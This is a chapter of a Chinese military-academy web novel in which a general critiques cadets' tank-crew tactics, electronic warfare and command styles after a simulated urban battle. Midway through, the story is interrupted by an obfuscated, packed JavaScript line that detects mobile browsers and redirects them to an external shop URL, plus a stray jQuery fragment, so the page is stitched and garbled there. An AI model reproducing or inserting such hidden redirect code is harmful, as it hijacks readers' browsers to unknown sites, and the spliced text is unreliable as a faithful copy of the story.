次日,卡列西斯走进教室时手里只带了一个终端和一杯黑咖啡。他没有寒暄,没有开场白,投影屏幕在墙上亮起的同一秒,他的目光已经落在第一排。
伊琳娜站了起来。她没有等卡列西斯点名。
"第一场,我方在前期三个击杀里并未有明显失误。阿德莱德的驾驶技术和东方的炮手位均未有明显失误。"她的声音平稳,不快,每个字都经过了筛选。"电子对抗上,T97M的电磁对抗弱于ZTZ-49型,导致我方未能及时预判ZTZ-49的突然出现。如果对方判断足够精准——"她顿了一下,"第一场也轮不到我方获胜。"
卡列西斯没有表情。"继续。"
"第二场,东方做车长,阿德莱德炮手,我做驾驶员。在前期角力过程中我方明显更为稳定。克拉伦斯在炮手位的风格同样激进,大量的威慑性射击和见缝插针的赌博尝试让我方炮手不具备任何对炮条件。节省炮弹、保护炮管是最优解。"
她抬手指向屏幕上克拉伦斯在炮手位的动作记录。
"实时影像印证了我的猜想。沈命令西尔维娅调整路线驶向工业区,是在克拉伦斯的指令下执行的。沈立刻理解了其战术意图,把指令转换后交给了西尔维娅。而后续我方被牵引入工业区时,并未想到克拉伦斯会利用环境杀伤。"
"第三场。对方车长对我方有着相当的预判,车体静默与开舱适应是实战经验的体现。在中心战场打响后,由于我方在击杀数上落后,需要提前进场抢占先机。克拉伦斯紧随其后抓住了机会,几乎在同一时刻入场。清场阶段,双方表现几乎同一水准。由于我方有四十秒的先手优势,克拉伦斯车组未能在角逐中获胜。作为炮手,我也在最后成功击中了油箱。按照一般规则,我们最后一场的表现没有任何失误。"
她停了下来。
"问题是——"
东方宁晏举起了手。
卡列西斯点头。
东方站起来,动作不紧不慢,和她在车长位上下达指令时的节奏一样。"我认为,我方车组在第三场的全部判断都没有错误。"
她停了一拍。
"我们唯一输掉的地方,是对方的车长是卡塞尔。"
这句话落下去之后,教室里没有沉默。反而是一阵很轻微的低语,像风穿过弹孔。
克拉伦斯垂下眼睛,看着自己面前空空荡荡的桌面。
"够了。"卡列西斯敲了一下讲台。低语声戛然而止。
"克拉伦斯。"卡列西斯转向他,声音像砂纸擦过金属,"说好听的,这种车长指挥风格叫跳出常规。说难听了,就是极度的自负。在克拉伦斯的所有三场表现里,这种自负体现得淋漓尽致。"
投影翻到第一场的驾驶数据。
"第一场,城区内九档过弯,路口处果决到几乎冒失的之字形机动。如果你是我的兵,敢在训练场上这么开,我会让你连晚饭都吃不动。"
翻到第二场。
"第二场的炮手位,单车坦歼战条件下近乎激进地使用弹药,远超流程下的15发/10min冷却规定。如果你的车长跟你配合得不够好,你的驾驶员技术不够顶尖,冷却空窗期会要了你的命"
翻到第三场。最后时刻的殉爆倒计时。
"第三场,开局的操作可以被称为典范,这点伊琳娜已经说过,我不反驳。关键在于最后油箱起火殉爆倒计时开始的决策。你是车长,你需要保证车组其他成员的存活——"
他抬起眼。
"还是说,个人英雄主义的发作让你选择了更好看的打法?"
克拉伦斯站起来。他没有看屏幕。
"我的判断。第一,如此近的距离和如此短的反应时间内,车组逃生窗口狭窄,且在对方坦克未丧失作战能力的前提下贸然逃生只会让敌方火力屠杀我方成员组。第二,作为车长,我的责任是尽一切可能歼灭敌军部队,我的车组成员包括我都是为了这个战略目标服务的,最后贴近殉爆符合战略目标。第三,即使我方殉爆范围超过超压判定,被彻底堵死的敌车组依旧丧失了作战能力,同样可以满足战略目标。"
他停了一下。"三条原因下来,我没有放弃战果的理由。"
卡列西斯没有对这三条做出任何评价。"不过最后利用环境杀伤…用得不错。这个作战思路放在真实城市巷战中也是优秀的案例。非对称战术打得很好。读过书?"
"《超限战》。旧时代中国空军大校乔良与王湘穗的著作。主张非对称作战。"克拉伦斯回答
"一百年前的老书了。"
他摆了摆手,让克拉伦斯坐下。
"这就是我需要的东西,克拉伦斯。"卡列西斯说,"自负与果决之间的那根线并非一成不变。问题在于做出决策的人能否从自己的判断中分清什么是自己的操作、什么是命运的青睐。从教学上,你的指挥不具有意义。但从真实作战的角度——"他顿了一下,"我个人认可你的判断力。"
他关掉了克拉伦斯的击杀数据,把投影切换到全车组岗位分解分析。
"接下来才是真正从车组角度分析每个人的好坏。第一场伊琳娜的态势感知和决断让她打出了两次优秀的击杀。第二场沈的放权和电子战。第三场阿德莱德的指挥和东方的驾驶——"
投影切换到第二场的座舱记录。三个分屏并列:车长的全向态势界面、炮手的瞄准界面、驾驶员的前向视野。
"第二场。沈的车长位。"
沈推了推鼻梁上的眼镜。他在体能训练之外的地方从不紧张,被点名提问也一样。
"常规的车长指挥模式有两种。一种是集权式,车长做出所有判断,炮手和驾驶员执行。一种是分权式。车长提供态势信息,各岗位根据信息自行判断。"卡列西斯看了一眼沈,"你在第二场的指挥不属于这两种。你做了什么?"
"我把射击决策权完全交给了克拉伦斯。只给他目标方位和弹道条件,不指定弹药,不指定射击顺序,不指定接敌节奏。同时我把所有精确指令留给西尔维娅的驾驶,路线、速度、姿态调整。"
"为什么?"
"因为克拉伦斯在炮手位比我更清楚什么弹药在什么距离上能造成最大毁伤。我没必要花时间告诉他在一千一百米外需要用高爆弹抛射,他比我更早知道这个结论。我如果指定弹药,等于在他和射击之间加了一道多余的转述环节。这属于冗余指令。"
"判断失误呢?"
"他在第一场当驾驶员的时候已经证明了自己不会失误。"沈说,"或者说,即使他失误,也比我在炮手位的上限高。"
卡列西斯盯着他看了两秒。"继续说。"
"但我不只是放权。"
沈站起来,走到投影前。在卡列西斯的课上很少有人这么做。他指着屏幕上电磁对抗模块的数据流。
"我的主要精力在这里。ZTZ-49的电磁对抗模块是参赛车型中最强的。全频段被动监听、主动干扰、信号欺骗三套系统可以同时运行。第二场打到中段,托尔车组的电子战炮手开始把这一侧的频谱压得很干净,把自己的信号整个埋进了噪声里。他用的是定向干扰,功率全压在我们这一侧。"
他翻出第二场中段的那段电磁对抗记录。托尔车组的信号在某一刻从频谱上消失了,消失得干干净净。
"他把信号压进噪声之后,自己也只剩光学设备能用。干扰波束是单向的,他为了藏住自己,把观测窗口也一起堵死了。我做的第一件事,是关掉ZTZ-49自己的主动电磁对抗模块。整个频谱里,我们这一侧忽然变得干干净净。在对手眼里,就是我们暴露了。一个藏好了的猎手,看到猎物忽然出现在空地上,第一反应一定是抬头看一眼。"
他指着记录上那一个极短促的信号峰值。"他看了。那个探头信号不到两秒,被我捕捉到了。单向位置暴露。我把坐标丢给克拉伦斯,他打了那根伸出来的炮管。"
"然后是这个车组真正的分工逻辑。"沈把记录翻回更早的一段,"常规的车长指挥模式有两种,集权式和分权式。分权的前提是车长仍然掌握全局判断,只是把执行下放。而我在第二场的实际角色更接近信息过滤器。我把电磁维度的信息筛过一遍,把有用的交给克拉伦斯,把精确的执行指令留给西尔维娅,把误导性的信号丢给敌方。车长的位置没有了,但车长的功能没有消失。它被拆开,放到了更高效的人手里。"
卡列西斯在沈说完后不置可否地点了点头。
"这个方法不可复制。你的车组恰好有一个能在炮手位独立完成全维度射击决策的人,和一个在驾驶员位置能精确执行复杂路线指令的人。换任何一个车组,你的指挥模式会导致灾难。"
"我知道。"
"但你对成员组的分析相当精确,然后制定了一套只适用于这三个人的指挥架构。"卡列西斯合上终端上的笔记,"你在指挥一个没有你的指挥系统。"
沈顿了一下。"谢谢将军。"
"这不是夸你。"卡列西斯说,"你体能测试再不及格,我会亲自盯着你跑。"
沈坐下去的动作比站起来快了三倍。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17930039|213613||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
后排传来一声没憋住的短促笑声——奥维莉娅。阿德莱德踢了她一脚。
投影跳到第三场。
"第三场。阿德莱德的车长位,东方宁晏的驾驶位。"
阿德莱德在座位上纹丝不动。背脊笔直得像是椅背上嵌了一把尺子。
"阿德莱德在第三场采取了和克拉伦斯几乎完全相同的战术,开场熄火静默,关闭所有主动电子设备,开舱适应黑暗。这个战术本身没有错。"
卡列西斯把两组的行动时间轴并列投影在大屏幕上。
"阿德莱德车组早出发四十秒。"
两条时间轴并排展开。左边是阿德莱德车组的路径,右边是克拉伦斯车组的路径。两条线在初始阶段几乎重合,都在城市边缘的废弃仓库区隐蔽,都选择了关闭发动机坐等战场清场。
"四十秒的先手优势意味着什么?意味着你们可以先选阵地,可以先发现目标,可以在中心战场打响后的第一时间抢占最有利的射击位置。你们也确实做到了。在第二十七分钟中心战场开打之前,你们的位置比克拉伦斯车组更好。"
他翻到下一张图,双方在中心战场打响后的战术机动路线。
"但问题从第二十七分钟开始。"
画面加速播放。阿德莱德车组从西南方向快速切入废厂房区,T97M的正面装甲被阿德莱德有意识地保持在接敌方向,从一个掩体转移到下一个掩体的节奏紧凑有序。同时克拉伦斯车组从北部切入,路线更曲折,ZTZ-49在城市废墟中沿着被炸毁的轻轨轨道蛇行。
"阿德莱德的指挥在每个独立节点上都是正确的。掩体选择、接敌方向、射击窗口,每一个拆开来看都没有问题。但战略上,阿德莱德,你没有把这次演习当做战争,所以才会做出击杀数不足、提前进场的决策。"
阿德莱德的笔尖停在本子上,没有辩解。
"而东方宁晏的驾驶,"
他转向东方宁晏。
"你的驾驶数据和你在车长位的指挥风格一模一样。稳定,精确,每一步都在计划之内。加速、减速、转向没有一次失误。全场比赛里,你的驾驶数据标准差是最小的。"
"这有问题?"奥维莉娅从后排忍不住出了声。
卡列西斯没有回头。"当然有问题。"
他指着两组车组的机动轨迹对比图。
"第三十七组除了第二场西尔维娅当驾驶员时的走线,其余两场都不稳定。克拉伦斯太冒失,沈时太保守"
他放大东方宁晏的路线图。
"你的驾驶太稳定了。稳定到可以被预测。在第三场车长是克拉伦斯的情况下,你们在废厂房区的转移路线,每一步都是最优解。这意味着任何一个足够有经验的对手,都知道你的下一步会往哪里走。"
他把克拉伦斯第三场的车长指令记录投到屏幕上。
第二十七分三十一秒:敌方将从三号厂房南侧出口转移至四号厂房东侧卸货平台,预计用时四十到五十秒,保持当前位置,炮手准备接敌。
第二十七分三十八秒,第二组从三号厂房南侧出口驶出,转向四号厂房方向。
精确到秒。
"克拉伦斯预判了你们的路线。"卡列西斯说,"最优解只有一种。当你们每一步都走在最优解上时,一个足够了解战场的对手不需要任何信息。他只需要问自己:如果是我,现在会怎么做?"
阿德莱德的笔尖在本子上顿住了。她没有抬头,但握笔的指节微微发白。
"东方的驾驶没有失误。但有时候,不失误就是最大的失误。战场上最危险的不是犯错的人,是让你能写出他的行动方程式的对手。很多时候,跳出最优方案才是最好的方案。"
东方宁晏沉默了片刻,然后微微点头。"这个判断我接受。"
卡列西斯关掉投影,端起已经凉透的黑咖啡喝了一口。他的目光扫过整间教室,从前排到最后一排。
"至于你们之中大多数人,尼禄车组和伊琳娜车组的配合才是需要学习的。"他放下杯子,"他对你们大多数人都没有借鉴价值,对本次授课同样价值不大。"
卡列西斯把终端翻到空白页,抬眼看向第一排。
"不过,我很好奇——"
他的目光在克拉伦斯、伊琳娜、阿德莱德、东方宁晏和沈之间逐一停顿。
"如果克拉伦斯做车长,伊琳娜和阿德莱德或者东方,再加上沈,四个人组成一个车组,会有什么亮眼的表现?"
他没有等答案,合上终端,拿起咖啡杯。"下课。"